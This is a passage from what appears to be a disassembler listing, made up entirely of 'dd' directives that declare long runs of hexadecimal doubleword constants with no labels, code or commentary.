		dd 6250E1D8h, 0B009CB94h, 763DC4CAh, 101B9284h,	0EC5194ECh
		dd 85E8202Bh, 0A009C28h, 0F01A52B3h, 289FE06h, 9EAD588Ah
		dd 0C2987Dh, 541C1257h,	0BD4F4038h, 3F009302h, 552BECC8h
		dd 34CCB81h, 1C7AB7A2h,	0D3BA5A17h, 560747Ch, 0B477A892h
		dd 0AE650098h, 3E8EE61h, 9C13ED43h, 88C4E822h, 767F82EAh
		dd 80F29AD2h, 5006A77h,	4F4BAECh, 0C14AB08Eh, 0FEA53758h
		dd 7ECF025Eh, 0D67C50ACh, 0F84F7900h, 85CB0A55h, 87BA0048h
		dd 35E392EFh, 4B0183A3h, 61FEA43Ch, 0BDC18DAh, 8AC5049h
		dd 361B3093h, 9F5D6429h, 9040564Eh, 71FA511Ch, 0B7B500C6h
		dd 86F65731h, 372D7F92h, 0E84001E9h, 998BFECCh,	8994202h
		dd 3095D129h, 6F4CF7F4h, 0C931C870h, 73C4ACA2h,	20DCCC90h
		dd 919A6404h, 0A0885037h, 972F0592h, 0C7DCCA14h, 267856Eh
		dd 4CE98008h, 0F70170C6h, 6B54ACFAh, 8DE48E51h,	52BE00EBh
		dd 0A8C5CF18h, 0B117601Fh, 0F8906172h, 57E495h,	152F8699h
		dd 0D7383EAh, 89013300h, 585D8EF7h, 55EF0034h, 0DE1D6107h
		dd 3C03F0ECh, 7B9D3DA8h, 0B4A01CBBh, 5B1FFFh, 0E4D76920h
		dd 5D0B4537h, 5170C443h, 0EA4708ACh, 0C057C93h,	788A416Ah
		dd 0FE9D8849h, 0F9830A12h, 7C5E827Ch, 0FCDA22h,	95EA6441h
		dd 0EF85F07Bh, 0E1B9FA00h, 37B3427Fh, 0B6AF00C0h, 4C341C5Dh
		dd 3B5C2B80h, 44302780h, 0F1AD00A4h, 0CBB96758h, 773B867Fh
		dd 0F0A20348h, 8247C646h, 3034F82Fh, 0D4988B1Bh, 0F60B258Ch
		dd 821142C4h, 23E94FF0h, 0F2E8774Ah, 0D87D2ADCh, 1E47B417h
		dd 926A1DAFh, 80B0ACB5h, 7207A87Eh, 0EE871CB6h,	21780BEh
		dd 531029F9h, 46D3D900h, 3491EB7Ch, 9C8559E8h, 0EBA9840h
		dd 62D325C4h, 96BD9E42h, 3B11F058h, 82003810h, 33A08C2Ah
		dd 0CF001AC1h, 0B55C182Fh, 0BC2325Fh, 0DF7B7F6Dh, 939DDC80h
		dd 0F909892Eh, 575572CBh, 30B87787h, 784442B1h,	9840465Bh
		dd 29673C50h, 83F90BC0h, 0F8C48B80h, 8122F486h,	0C07F4CEBh
		dd 0B40D692Dh, 7827F8h,	5A13FD2Ch, 33282Fh, 0FC210676h
		dd 8C7ED8BAh, 3BC5D700h, 0A9AD706Ah, 0AA490073h, 0FB34A25Eh
		dd 521B6E44h, 0A0115F22h, 5E17296Ah, 628C400Bh,	2CAAA34Dh
		dd 6002CAE4h, 0E06DC33Ch, 3B84C08Ch, 5DB817F6h,	409C005Bh
		dd 4401DCDFh, 0A55088B6h, 0CDE3003Eh, 32EB0D26h, 0B3043D63h
		dd 0C4D3191Ch, 4BE88CF4h, 8F04A202h, 36988016h,	0EA4408h
		dd 28BE051Ch, 15A3DF3h,	0B67C3C00h, 6E421BD2h, 4C0312FAh
		dd 194E2EBh, 0A2A59C43h, 8CC02737h, 0F6983CE0h,	0D4446680h
		dd 0AC2AD3E5h, 293BD21Dh, 38BBAA05h, 0F0309F12h, 23B048h
		dd 0E69A5D79h, 0D30D6395h, 0E2D90600h, 32514A03h, 0B61D0086h
		dd 22622D0Fh, 685425E9h, 434C02D4h, 0C003C860h,	0D6A9BC92h
		dd 0F75DE605h, 0A8D09369h, 0D83D59h, 1DBA46C8h,	0CD71FACh
		dd 71B9E202h, 6029EB0Bh, 1D87612Fh, 41E85451h, 3517A232h
		dd 1E6AF8DFh, 6D0A5800h, 0F1FA317Eh, 0F8727433h, 2643AEEh
		dd 3B69C900h, 97F62A23h, 60068A2Eh, 5765AE41h, 0C48202Fh
		dd 1C0325F9h, 74A5F7CEh, 0B4779D71h, 31D18728h,	12B1377Ch
		dd 70E2965Ch, 0E4BDDE80h, 0ACB86C4Eh, 48C57D40h, 788E0C68h
		dd 82BCAC36h, 60D2140Ah, 31A73FCh, 0D501DF42h, 31E16A7Bh
		dd 20383A71h, 443C000Ch, 0D032C482h, 34F8742Fh,	551F0909h
		dd 649C1006h, 0A7B100ABh, 972AEFCFh, 7D1D1354h,	0F9402F82h
		dd 92B86B9Bh, 0B51B0043h, 0DDB9D33Ah, 493D4840h, 0A74C0084h
		dd 310BC4F7h, 0A63E2CE9h, 0B3B1E8Ch, 9689A8F9h,	7A11EC7Eh
		dd 4203BB0Bh, 72124864h, 8E77Dh, 0BB6483C9h, 38C9BAB1h
		dd 0E9F82008h, 3260A8BEh, 0B4D1A642h, 1B47843Ch, 0BC08123Ah
		dd 0C20C9DB0h, 0DA09FC34h, 0BBCFA6E0h, 0FA1C61CBh, 80C9460h
		dd 6317EA88h, 9089B40Fh, 29EFD619h, 9FB3F83Eh, 0E9A64500h
		dd 0EE116A3h, 0AF762FBAh, 3B004066h, 23446CD1h,	0ED25EB51h
		dd 70486ECEh
		dd 6B930043h, 34014E9Dh, 0A32C61C4h, 491C6631h,	2B8FA540h
		dd 246B22E9h, 12702F72h, 32350090h, 3D71A21Ah, 79682095h
		dd 0BDCFD9h, 0F2FD125h,	8DA03570h, 0E7674716h, 5B50B1F0h
		dd 5DD04144h, 38261CD3h, 9230CF64h, 7C6CB4h, 6AFBE2F4h
		dd 1A4B6522h, 2F3A2701h, 10D5C676h, 30BA260h, 0A77A83D2h
		dd 3FD89261h, 58B88AB9h, 1C32AE5Fh, 0FC9157E7h,	84107C77h
		dd 0A8890455h, 0C5C0D1F1h, 0BEF00186h, 4405505Ch, 8646D9F5h
		dd 0B85E2E6Ch, 9DE82D19h, 3C1C8444h, 26C0FCF0h,	1BDE4C88h
		dd 0A427917h, 536AD9D4h, 0AE7FE074h, 8312666Fh,	908207F1h
		dd 0B0A077CCh, 0CBE8797Eh, 0D2CABD00h, 0FB30C63Ah, 497C0073h
		dd 0CC24051Eh, 0B53091FDh, 786551C1h, 17FCB0h, 73CE4CA8h
		dd 76526F89h, 80AC6C06h, 668EA07h, 990BA292h, 1C0408A8h
		dd 4D4A0937h, 199C00FEh, 0AB65F930h, 609F0DF8h,	1252FE24h
		dd 0B43D2956h, 0A6009678h, 0A32AECFh, 3B8961E3h, 6E80BA49h
		dd 0F77F15B3h, 1B3BE698h, 0B1D68067h, 7D74ECA5h, 0F10100BEh
		dd 172B187Bh, 77EC325Ah, 997C6200h, 7A0792C8h, 0DB650F39h
		dd 0FAE1D9B0h, 2B0D8B3Fh, 88D2F020h, 0BD020E21h, 0A63708Fh
		dd 0E5E0EE18h, 0D95BAECAh, 0C86CE841h, 12D02D9Eh, 0DF8602DAh
		dd 8CD9A744h, 0AC42DC4Ah, 64A5807Ch, 0B6D41C60h, 1D12005Ch
		dd 0AD2E3E42h, 9421C9Ch, 198119Fh, 5CD2F7FAh, 0B950528h
		dd 8380F806h, 97218EAAh, 15B3F47h, 8631B3C0h, 0B692840h
		dd 0A86B589Fh, 0A9ACD72Ch, 7AB580F0h, 15F12CF6h, 7261FA0Dh
		dd 8F0B0E2h, 0B9607BFh,	42DD24DEh, 760AAEh, 2C538F80h
		dd 484656h, 4B5EF482h, 0EB10F3Dh, 126EF000h, 359CD43Bh
		dd 1EE94F5Dh, 5B57C80Ch, 0A4AC5912h, 5F6BCC80h,	0EE000815h
		dd 3472914Ah, 2DE2C699h, 5864B271h, 7B2ED277h, 5E003619h
		dd 0B111ECF8h, 64870079h, 7CFE3F65h, 0D1EE91C5h, 27783B39h
		dd 11B45135h, 474E7CB5h, 5D8000F2h, 57CB99A7h, 61047B71h
		dd 0E2DF4AE5h, 290DA8F4h, 3AA88EBFh, 1241E32Ch,	80B4E242h
		dd 349C7794h, 254000C5h, 32952D3Dh, 0E7250A8h, 1D4F0D00h
		dd 45978E51h, 84C50102h, 9B3DD420h, 6EB8207Dh, 92E9CB0Ah
		dd 3900DC2Ch, 677BBDC3h, 0EC3B284Ch, 0E098BD68h, 0EA0140A3h
		dd 0E8ED9B19h, 84685525h, 5F5EF739h, 98442D8Ch,	49EFB430h
		dd 15CCFB2h, 4A772CDEh,	223C6B8Ch, 7F6033Ch, 0B03D918Fh
		dd 0D3BFB1h, 2E134C7Bh,	0EA5FA4CFh, 41436D0Fh, 766700C8h
		dd 0B04845ADh, 1C492748h, 26800C53h, 0DB98D1C3h, 0CAD501C4h
		dd 8430EEF2h, 0E273D062h, 0D2F1F309h, 3DDCF14Bh, 44AF7780h
		dd 22A83C9Dh, 0B85032Dh, 168C638h, 0F7FD9F6Dh, 68D279A9h
		dd 6A311304h, 0D8BDB413h, 0B069C8C0h, 18031F9Ah, 0F3F1DF70h
		dd 47A2F9E8h, 384AC24h,	404A94B4h, 0E49091D3h, 0D49EC625h
		dd 4600F691h, 0C93B08EDh, 6800979Eh, 0FD33CEDCh, 26ECE6A7h
		dd 218ED4EBh, 0B42C0FA4h, 0F4807049h, 0DB769D72h, 7A97E712h
		dd 21D54832h, 65F83330h, 10982B24h, 97690188h, 0B16321DBh
		dd 8630AFC5h, 0F1692914h, 3E9CDED0h, 0B1583178h, 0CC3B3041h
		dd 12E96840h, 41D456D4h, 2A3A027Eh, 0DF2CD880h,	0B4A3A091h
		dd 24B795Dh, 78E26FC7h,	9057EDA6h, 911738h, 65D77EBEh
		dd 0D483A7BBh, 0B864C350h, 0C900CF77h, 0CB6AB96Ch, 0CA9A6329h
		dd 0BACD4A9h, 0C45434D3h, 5F11DD11h, 576000C5h,	0C4672513h
		dd 10AE006Bh, 0F9334773h, 340CE5DCh, 0B0F1B737h, 5894BAD6h
		dd 9100CC62h, 2F8EBB32h, 0E058E2AEh, 0A0E29768h, 2B863939h
		dd 0B4B94034h, 5B965D00h, 0A5F2B38Dh, 0ED9E17E8h, 8CAC13FEh
		dd 0C6FA93ACh, 0F6A8DA69h, 0D81AC080h, 0D102CF10h, 0EC03DB8Ah
		dd 3844E2h, 6D4C84B2h, 8FA11079h, 0E15F0E00h, 327AC14Bh
		dd 0B97D2563h, 0F50B0044h, 0D9587143h, 1CB828BCh, 0FA7C3DD8h
		dd 0A6319189h, 55F66382h, 0E82F0C44h, 5B884402h, 0D9548C06h
		dd 223C1D61h, 35EC08D5h, 2D53000Fh, 38E0719Eh, 51003DE8h
		dd 5AFA8584h, 26CAB8F9h, 0EE021Eh, 0FC776E36h, 0BD3EA055h
		dd 484100A8h, 4D6D9461h, 8D501226h, 4B3C90B5h, 40F68AFh
		dd 2771AA10h, 0BA60356Dh, 2A8A654h, 0E096997Ah,	0D04140B3h
		dd 85506239h, 94B2D26Bh, 0C4B7F020h, 0C112003Ch, 6C0158C4h
		dd 0F45AFD06h, 6B02B802h, 6818DDFEh, 0A1971177h, 9A8D9B6Ch
		dd 1948F0C3h, 844F00E3h, 3D36F3Ah, 0E82695D4h, 266024F2h
		dd 0C2B210h, 73197D5Ch,	2F78A865h, 0C5F4229Fh, 0C37724A2h
		dd 0A6EABEB8h, 7C1B1E02h, 76D18208h, 187AFFD5h,	0F8785944h
		dd 428131Ah, 5B14EC3Fh,	0AB0B40A3h, 0F09870C4h,	109D4403h
		dd 4D298170h, 0FF82CC6Ah, 0E4FC588Ah, 935A8D40h, 6F560032h
		dd 424AEC48h, 2095F99Eh, 1A33614Ch, 0C468A5Bh, 447C8043h
		dd 7413CAB2h, 9CAD2B5Ch, 3CE87622h, 5AF1B801h, 27CB4D91h
		dd 6880EC28h, 97BFC90Fh, 0CD1629E4h, 0CCC4584Ah, 343BCC0Ah
		dd 0C9C7801h, 0E44C6829h, 5B7A805Ah, 0AF5C30BDh, 0F78900D4h
		dd 13A1727Ch, 0EFEA8F1Ch, 43B11E2Dh, 4238225Ch,	4EE25901h
		dd 3D1EECCAh, 6A2127CBh, 0D9AD4048h, 1C4A0D5Bh,	0BF63C06Eh
		dd 7F4B180h, 639EF441h,	2381B428h, 21924C6Ah, 50817AD8h
		dd 0E040C1Ch, 2890E6FCh, 0B044E027h, 4435EEBh, 1688C12Ch
		dd 0BBE760C1h, 446EF048h, 0CF2DB744h, 0EEEC61B6h, 0B679B670h
		dd 327104F0h, 0E098F522h, 40008F65h, 75B30545h,	5EF7B2Bh
		dd 0C77CA94Dh, 0A7CCCC95h, 2CE70600h, 0E8D1671h, 0A49AC057h
		dd 2F7FEEB5h, 0C898A014h, 1B391194h, 24FD6B14h,	2186440h
		dd 9A01A576h, 0A87699D6h, 1690766Bh, 5018F80Bh,	902D6AC4h
		dd 0FCC4A9B2h, 1E374234h, 88BC3010h, 7C206A0Eh,	2758B020h
		dd 0DC30B741h, 0EA3908E7h, 5ACD003Eh, 0A39160C5h, 69511D4Eh
		dd 0E7C1DE22h, 30002042h, 0D1A09DE2h, 50E2DE4Fh, 0BDBD403h
		dd 0BA9859C4h, 3D014CDFh, 221CADCDh, 0F1917D35h, 859B0E79h
		dd 0B4D86027h, 16188FA2h, 0A838BA9Dh, 4009DEF8h, 0D88A80F4h
		dd 7FC8A234h, 20E40202h, 0EB053DC5h, 35E8F899h,	80282860h
		dd 5622E27Fh, 0D10C0082h, 0B635CA14h, 0C44E37A4h, 304800F2h
		dd 2120680Ah, 22344490h, 2B9723C2h, 0DDD80EB3h,	862CCD72h
		dd 0ED19219Ch, 207B2780h, 674664DCh, 625F8603h,	0C0349AD6h
		dd 4FE8A877h, 2E0842F8h, 306473C4h, 0EF8F051Dh,	3F2C91C5h
		dd 76121CE4h, 807CB170h, 0F99B1676h, 3704E1ADh,	3C83F36Fh
		dd 232538A9h, 0AE2C3C20h, 0CF01ED85h, 7A63ECEh,	9ECC7C7Eh
		dd 6A0F158Ch, 0F5277418h, 1580FCF3h, 57A1F231h,	10D3FA7Ch
		dd 9A4526Fh, 7224FE3Ah,	0A86305B8h, 0ABD1CEC9h,	80833C20h
		dd 3049C0BFh, 985DDB5Ah, 0BBD6C39h, 87912D3Bh, 7F41DAF4h
		dd 47BE66Fh, 0B4E359FCh, 0D587DECh, 83093D54h, 3AD32A5Ah
		dd 380198E1h, 2124BEDEh, 43488490h, 0DBAC827Eh,	6A0822D5h
		dd 44E0545Fh, 402740FEh, 3E927847h, 6C093274h, 2C892463h
		dd 0C442F4DEh, 55DF40EEh, 2FE700ABh, 511A6962h,	0C800527Dh
		dd 7BE557C9h, 2E1349h, 4FBB59BAh, 0DD4062D7h, 24560128h
		dd 0B126F8FAh, 8E65F0C4h, 2050BC04h, 0B81021h, 2C9E4163h
		dd 0BA609881h, 63E8ECAEh, 0E8A9BE28h, 822468DBh, 0F8686F58h
		dd 0A7161EC8h, 49EB4070h, 2DE34C54h, 188678C9h,	26A3A22Ch
		dd 0E4000F92h, 0C0FD5351h
		dd 0C573CF81h, 0F4216FB9h, 3B09B749h, 0DB4F9430h, 0F90138BDh
		dd 362F1B00h, 246BB872h, 108CCA48h, 208E8E5h, 0AD971268h
		dd 0F0488h, 0C40AE03h, 0FC290659h, 312D9D0Fh, 4E842062h
		dd 1E166A3Eh, 403CC602h, 34E7CA2Eh, 557C54FDh, 92C7624h
		dd 72CF933Ah, 7EAC5CC8h, 667500FCh, 43FDDDDAh, 58000162h
		dd 0F973D05h, 24D028CAh, 6258239Eh, 0C5023829h,	16F8F192h
		dd 25A06146h, 0CFF424C1h, 9F3B5D07h, 7B9943F0h,	0D0DA966Ch
		dd 528657C0h, 4F063E00h, 0F493AD35h, 18A301F9h,	0F7122849h
		dd 7A43240h, 0CEB231B7h, 54142299h, 63A21121h, 8E97D78h
		dd 4D701236h, 86A40292h, 0E4FE9B1Ah, 0E7FBAE60h, 0A2600919h
		dd 0E0518255h, 63DFA103h, 0F8BCD54Ch, 0F10A094h, 7B338BA6h
		dd 57DF8F40h, 0A3BDD860h, 900205Fh, 56DA88F7h, 932FEA4h
		dd 5A25637Fh, 0D3BAC02h, 56E0050Bh, 2438B0CCh, 4020E2B0h
		dd 0AF040172h, 49ACCA00h, 65580CDBh, 4A4660F4h,	12172768h
		dd 220C20BDh, 0BA5496h,	7A10439Dh, 0FB49DEE6h, 369CDA02h
		dd 0D7D34C4Dh, 0A881F81Ch, 8B9E0CECh, 0E5BC81FCh, 7AD902F6h
		dd 0C11D00CCh, 2EDD550Ch, 17012B24h, 0E098C3BBh, 56C08A77h
		dd 97E3E05h, 413B5092h,	43534AC4h, 0FBA4417Fh, 84610878h
		dd 87A36480h, 92776400h, 0DE6C0F56h, 9C492A2Dh,	0EEAB0040h
		dd 0A0DD4F59h, 21F7D40h, 0BF8E63FCh, 2CD10060h,	0A0B95238h
		dd 95C01AFCh, 0BC59DC89h, 585EC361h, 0A72185FDh, 0BC12746Dh
		dd 188F10A5h, 10FF8D00h, 93B4E00Ah, 0CC624C75h,	107907C8h
		dd 5980B28Ah, 9D810229h, 681D9312h, 0D21C945Fh,	99800BF1h
		dd 2943A880h, 6D5E9E40h, 3DBA7C80h, 8D090F77h, 1812124Dh
		dd 0AD7E99F0h, 89963200h, 0E133B8F5h, 0CC091C6Ah, 19BD4754h
		dd 0E93D1557h, 89171DB4h, 13552740h, 1C28AB2h, 6922757Fh
		dd 0E29DC5CEh, 7E6062h,	0E9FAFE60h, 19B03918h, 26719100h
		dd 0EE95278Dh, 3022214Ah, 44FCC438h, 6B0708C4h,	7CE91D12h
		dd 0C5B76541h, 2E11B3C0h, 81C0D4Bh, 984620DCh, 457C9071h
		dd 0ECCC2B0Eh, 0F97927h, 862572F2h, 21049E4h, 5D379809h
		dd 0BBA00265h, 0AF074A2h, 60DC3329h, 3B6A61ADh,	208C6E9Fh
		dd 0C4EC13B1h, 89F13D17h, 0C6428831h, 0FC74982Fh, 3708DC0Eh
		dd 7A3BC1DBh, 48E0C431h, 0A2014FDh, 804ED0B2h, 33E8D89Ch
		dd 0F009AC4Ah, 59109917h, 0F4E14117h, 48827A3Ah, 8068764Fh
		dd 5EED3EBAh, 9D00C257h, 460730F7h, 56E754Bh, 8CF317A5h
		dd 20EB03h, 0BA7324Ch, 2704FBE6h, 0EBC12022h, 6CC96925h
		dd 6CB4207Ah, 0B4007904h, 0A8B3FEE1h, 0BC4D7BBh, 59C67FDAh
		dd 34A19014h, 0C0473EAh, 0D91DBAE7h, 22A54287h,	40889E83h
		dd 1E6B0EB2h, 18676301h, 0C92D9297h, 4C9A64CCh,	0F5793C3Fh
		dd 446F2874h, 0D688F520h, 15650068h, 8D698FDEh,	6E007EF1h
		dd 0D917CCB9h, 28FF5971h, 0F46F22h, 4DC6894Fh, 9B13977Ch
		dd 0BF76111Eh, 0B062C1C2h, 0D76C42D2h, 20122491h, 2286D43Ch
		dd 6B7FB72Bh, 7A3A89h, 6A263B38h, 0B82473E5h, 711CC81Dh
		dd 1EC481A2h, 0C0F2FF10h, 0F8E9CF00h, 2A82CB63h, 3B12EA53h
		dd 0FE3C55h, 40D3E8BFh,	9322497Eh, 77A64604h, 2487434Ah
		dd 0BC1619h, 4D2BD42h, 7DFB1156h, 0C2307102h, 55A980BFh
		dd 0AA9EE4A2h, 6FD31220h, 6C884D1Eh, 4A02425h, 6C03C927h
		dd 22C2E4Ch, 0FA05293Ah, 0AFF49073h, 583D585Dh,	747CC88Bh
		dd 6819A04Fh, 17BAE11Ch, 0AE3481h, 1F5101EDh, 0AD5480C4h
		dd 0BB89A944h, 719CF440h, 0F8C41328h, 0CD644420h, 367600E9h
		dd 58F23Dh, 70C52E09h, 4E98B85Dh, 86953C00h, 7D0CF4DEh
		dd 2E17FE6Bh, 407CCFE9h, 8C026A4Dh, 0D387100h, 3319B4ADh
		dd 84E8A373h, 0D0212732h, 0CB101D23h, 701DFAA6h, 1E02F5EEh
		dd 23E51D1h, 1A24983Dh,	0B40024E9h, 9093914Ch, 0D41D07BFh
		dd 20CEAB62h, 0AD340738h, 0DD87D9F0h, 55940716h, 3069DA58h
		dd 0BBA3145Bh, 75435018h, 782B410h, 0DD1B4819h,	0B06EE0F3h
		dd 0E560B9BBh, 731FA231h, 5F6400A5h, 0FCEC740Bh, 330E7B35h
		dd 0C394ACD5h, 0E011E192h, 660C3CEh, 0DF8169B4h, 7C0041EEh
		dd 1E990ACCh, 753B7E15h, 0C0F3016Eh, 0E0817D5Ch, 0A2980D9h
		dd 1B40BBBFh, 98BEF97Bh, 0C06FC81Eh, 73EE391Eh,	4A07D3CDh
		dd 0ABF114C4h, 92EAA2A0h, 0EBE8A4h, 71689828h, 0CF18875Bh
		dd 82660518h, 48351DE1h, 140F2219h, 0C63BB12h, 780CF141h
		dd 294F5A06h, 0C18A607Ah, 1955405Fh, 0C8454106h, 917EE9h
		dd 0DBAFE0B8h, 2CB616EAh, 6DA3B702h, 407206A0h,	0C1990B17h
		dd 30C83BF9h, 873CE408h, 7393B702h, 60BB8B0Ah, 0EE24E1h
		dd 3D42FA43h, 0E8CBDF5Ch, 0D69F5D0Eh, 0BCBE236Eh, 0EA37A8EEh
		dd 59F500F8h, 91F21ED7h, 5A000E45h, 5519736Fh, 0B65BC6h
		dd 4A248854h, 3FD0A31Bh, 4CCEB407h, 81F0526Ah, 0A8685794h
		dd 0FD1EC4h, 15606790h,	56F4EC12h, 416FD9C3h, 0BE1EA03Ah
		dd 1B73002Dh, 84716E51h, 8702DCB2h, 6D5B6B23h, 3590A0A7h
		dd 384F6124h, 0FC80DBC0h, 46F1B2CDh, 0C302E33Ch, 67070587h
		dd 72ACAE7Dh, 8CBAC00Ah, 6A1EB806h, 6B710018h, 8B878091h
		dd 0E3033832h, 0A85E6F8h, 21D0A765h, 2170C5Dh, 67E7BA9h
		dd 2881956Eh, 7BB04D3h,	91646FC2h, 0D18052E0h, 0D76BC94Fh
		dd 0DA006C4Ah, 75884477h, 1A784h, 276CE68h, 12DF5B50h
		dd 90549C0h, 0AEBC0E1h,	9455A3E0h, 82140654h, 9E175953h
		dd 0A10066B2h, 8463D5DDh, 11183983h, 0A2764800h, 6ABEC64Bh
		dd 2E1C4774h, 0C85D40E3h, 0D7402C24h, 271299CCh, 0E9F40E97h
		dd 22704B15h, 0D47150B7h, 14AD203Fh, 1257D822h,	37414A84h
		dd 464292DCh, 74628090h, 0D300AEF6h, 0C8FB99C1h, 48A322A5h
		dd 150035CAh, 1474B58Eh, 5E60D359h, 89DB5850h, 28EA093Bh
		dd 6824373Fh, 0BB9E31A4h, 6C7B6E10h, 3553602h, 49EDE080h
		dd 48F06FDCh, 602B246Ah, 462A8074h, 0E81DF1BAh,	8004274Ch
		dd 0B7D020EFh, 0CA11C0EAh, 96767744h, 83A78B03h, 0F0C0D26Bh
		dd 530C5EFAh, 9F108C43h, 0D958065Bh, 91BAD6h, 0EFA92636h
		dd 7230E81Fh, 0E3A2520Ch, 103B10Ah, 0D5061C04h,	0E49D9276h
		dd 64096120h, 8160AD26h, 15698608h, 83540B11h, 0CE656339h
		dd 1080845Eh, 0C4C8DD81h, 8C1E14B1h, 823C8018h,	0D1A300FAh
		dd 353EB85Eh, 140986Bh,	3608BA99h, 518FDAC8h, 8003DFFCh
		dd 0E305A339h, 0E29DAAE7h, 0CCC1022Eh, 0FE5B0A64h, 0D05C53E1h
		dd 0C4A19BACh, 84450CBCh, 0C0C42B48h, 683E3A91h, 0D7F2D3h
		dd 7B7ADDFAh, 5DBF3C2Ah, 47FEEA04h, 0B0405853h,	5F0FE1A3h
		dd 2579E800h, 41BC87BDh, 0A06C07B6h, 30D1BB3Fh,	0A672CE64h
		dd 83904F49h, 0C8CFD2D6h, 7BA3D8EBh, 0C52C070Dh, 0DE77AD65h
		dd 40EC7585h, 0C0DDCE94h, 0A10FDB02h, 24B557A2h, 48C86CD0h
		dd 0F483881Ah, 0BA26427Fh, 0C904B014h, 74907FCEh, 41218981h
		dd 0A6CDF06Ah, 0B44A4A4h, 0FD730080h, 5EC4DA22h, 50F4CF2h
		dd 84578347h, 408654D6h, 745C49B6h, 365E630Ah, 1F688FD0h
		dd 0AD705600h, 0BB58CD94h, 81AE8C60h, 6980F1DFh, 2A28311Dh
		dd 664862B2h, 1BFF1272h, 49F7D002h, 0C4E60215h,	40055084h
		dd 1E81346Bh, 0ED4D0011h, 0A46C2BBCh, 0E30C35C6h, 995D33B2h
		dd 8A890760h, 56CA724h,	8F82209h, 1BCB0627h, 0F781064h
		dd 99830C7Dh, 0C71D130h
		dd 7391B3B5h, 4486F848h, 6D036718h, 4D601F36h, 6E58115Bh
		dd 1517FABh, 6A805048h,	0E0804FF8h, 0EA7284F1h,	43351802h
		dd 0C785325Ah, 0C8B70DBCh, 36C3D431h, 944DF700h, 5F6E7379h
		dd 0F6AD09BEh, 70059C64h, 475448ECh, 31433B80h,	0CC11AEAh
		dd 0A7F1E92Ah, 6E52074Ch, 0E06A2484h, 0B3D9A758h, 6DFF60E8h
		dd 9824D17Ch, 66167051h, 7B80047h, 7D3183D6h, 0C83F5899h
		dd 2C9DB848h, 0B06D1CB0h, 6BE09B11h, 0B74C0C00h, 7C25B8C2h
		dd 24644859h, 8891FD10h, 0EEB881AAh, 0D047F536h, 909A1964h
		dd 0BF20D600h, 0CAD91EF1h, 5742046Ch, 887A898Eh, 102BA80h
		dd 13F7E5EFh, 446421Fh,	0A232F098h, 0C63B0622h,	0C0814580h
		dd 41006D90h, 63AE452h,	3593E8Ch, 36FC325Eh, 22BA0ACFh
		dd 2264C8E1h, 0FD92DD8Ch, 0F2B88021h, 33FAE850h, 6A7304F8h
		dd 0CCE70C5Fh, 40A1B1D0h, 31B81053h, 0DE97003Eh, 0D2637424h
		dd 550E5F38h, 4B7392EEh, 6A8485A9h, 0BC4C108Eh,	1421FD80h
		dd 430604B9h, 0A5781839h, 1672EC56h, 8A242D6h, 0D264DBA0h
		dd 0B140A53h, 0F01160h,	4DAA4F8Eh, 0A09C4BB6h, 0C58CA2C4h
		dd 8B6F1D88h, 0CCC80CACh, 4A81D183h, 0B1A03091h, 93526D94h
		dd 19B322F8h, 29C98681h, 5102EB47h, 0C871ECDBh,	0CF74C046h
		dd 84555091h, 41748FAh,	5419B069h, 8240225Dh, 9095811Ch
		dd 1E9A1494h, 0B25640D1h, 641A7188h, 84844C0Ch,	601FDA19h
		dd 0C90C407Ah, 79003AF7h, 95491A63h, 87969Eh, 0F92BB252h
		dd 434FFDB5h, 6CAC64B1h, 0C972460Ch, 4B3D00DAh,	19EBDCD6h
		dd 9000D7B1h, 0FEC2F204h, 90227333h, 48655484h,	0E85F4CF3h
		dd 0A87B14A0h, 10BA808Ah, 5F3920h, 0FD2A0A74h, 4E46BC1Eh
		dd 0B6BA9B14h, 0ABEA10D4h, 0CCC7F058h, 5E3708Dh, 1A00E674h
		dd 3C844793h, 604650BDh, 0B6D3B160h, 4F13A279h,	0BF3276h
		dd 0EF22F3F3h, 8000D008h, 0FCF17311h, 147BC6h, 5EDC57C5h
		dd 26781FEBh, 833FCA76h, 6B902CF7h, 5C6D630Ah, 56F0F801h
		dd 0A0C3FB43h, 281D22Dh, 0B3F5A393h, 0CC84B6D4h, 28763349h
		dd 30CC6FB9h, 58D08F42h, 0B491120Ah, 0C02C6440h, 0A47B13FBh
		dd 0DBF03031h, 6E8070BCh, 0B41C28Eh, 3B00BAAAh,	0FA5302CDh
		dd 41CC136Dh, 6E74043Dh, 0DBE4D1ADh, 898310EEh,	0B01E0055h
		dd 0CEC7FCEFh, 0DD2240E0h, 10996F46h, 0EE48CD2Ch, 4C0F6E04h
		dd 0B881CE1Bh, 8B08AA8Fh, 5C468Ah, 0F589FF0Eh, 4AEED1BDh
		dd 0C83FF606h, 5C2159EBh, 0DF418C05h, 0DD11142Dh, 22CF20BBh
		dd 6CB92211h, 0DFD6B900h, 177CD30h, 2DC7E348h, 0D03C74E0h
		dd 0D703264Bh, 0A6806E7h, 0F4129DB7h, 84D36832h, 55428BDCh
		dd 6540465Eh, 185C6CA6h, 0BC23C8B0h, 6C517094h,	5939C530h
		dd 6B000B99h, 858944AFh, 0FCBA596h, 0AB22E593h,	54504680h
		dd 0C34C42F7h, 8A685848h, 1A8874BCh, 0DA183E6Ah, 9DF19A9h
		dd 4FF579C1h, 0F8201F1Dh, 2D5200DBh, 5FBD8D25h,	0D57BADEAh
		dd 10984C5Ch, 0F58286D9h, 94225AC7h, 80A4A5EFh,	0F28048Ch
		dd 3D0D4461h, 19B99362h, 2351E140h, 0B8E86E28h,	30153520h
		dd 9441E4B8h, 91009AD7h, 102B8FDBh, 998D82B0h, 88E6C590h
		dd 9316B8B0h, 0D40E7176h, 7A2C3172h, 0A703419Ch, 8D42E023h
		dd 71014400h, 0AC05C782h, 99019094h, 5FD2089Ch,	8C14DF0Ah
		dd 0C35E9F80h, 70A1F74Ah, 700F1FFFh, 70056736h,	89409858h
		dd 991CE350h, 706A8800h, 0DA5995A1h, 807101DFh,	0E93ADBB7h
		dd 388C311Eh, 685C1054h, 49654718h, 490052C4h, 0D5991DE1h
		dd 711364h, 1A1FF2DAh, 892D8EC6h, 0A0B9E028h, 44229522h
		dd 51079CF3h, 658BDFFBh, 29632C10h, 0AA55004Bh,	9860D756h
		dd 0F913379Ah, 611678D9h, 5171F032h, 40E51E70h,	0CD4F84AAh
		dd 860139ADh, 0A2B07650h, 475D06Dh, 68C95C28h, 5B532C02h
		dd 0BAD722h, 6B23794Eh,	329F2409h, 8F408E29h, 89F1E047h
		dd 1CCB833h, 35304988h,	4011E395h, 47EEC328h, 331D9401h
		dd 0B2733D5Ch, 4866D6h,	17B88AABh, 0E570AE96h, 5846427h
		dd 5048FC20h, 533B8946h, 0FB220C10h, 71B02A00h,	0E084E6D2h
